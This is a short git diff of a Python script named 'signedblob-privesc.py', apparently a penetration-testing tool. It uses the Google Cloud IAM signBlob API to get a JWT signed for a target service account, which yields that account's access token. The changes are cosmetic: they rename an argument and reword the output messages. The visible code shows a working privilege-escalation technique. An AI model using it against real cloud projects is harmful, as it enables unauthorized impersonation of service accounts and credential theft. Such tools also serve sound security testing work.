diff options
Diffstat (limited to 'signedblob-privesc.py')
| -rw-r--r-- | signedblob-privesc.py | 8 |
1 files changed, 3 insertions, 5 deletions
diff --git a/signedblob-privesc.py b/signedblob-privesc.py index b0c701b..d105261 100644 --- a/signedblob-privesc.py +++ b/signedblob-privesc.py @@ -34,10 +34,8 @@ def getTokenFromKeyFile(keyfile_path): return creds.token def executeSignBlob(bearer_token, target_sa): - print("[*] Constructing a JWT") unsigned_jwt = createJwt(target_sa) - print("[*] Getting a signed Blob") sign_url = f"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{target_sa}:signBlob" headers = { "Authorization": f"Bearer {bearer_token}", @@ -73,7 +71,7 @@ def main(): group.add_argument("-f", "--token-file", help="Path to file containing Access Token") group.add_argument("-k", "--key-file", help="Path to Service Account JSON key file") - parser.add_argument("-s", "--target", required=True, help="Target Service Account Email") + parser.add_argument("-s", "--target-account", required=True, help="Target Service Account Email") args = parser.parse_args() caller_token = None @@ -89,9 +87,9 @@ def main(): print("[!] Could not retrieve a valid caller token.") sys.exit(1) - result = executeSignBlob(caller_token, args.target) + result = executeSignBlob(caller_token, args.target_account) if result: - print("[*] Got Token:") + print(f"[*] Successfully retrieved Access Token for {args.target_account}") print(json.dumps(result, indent=2)) if __name__ == "__main__": |
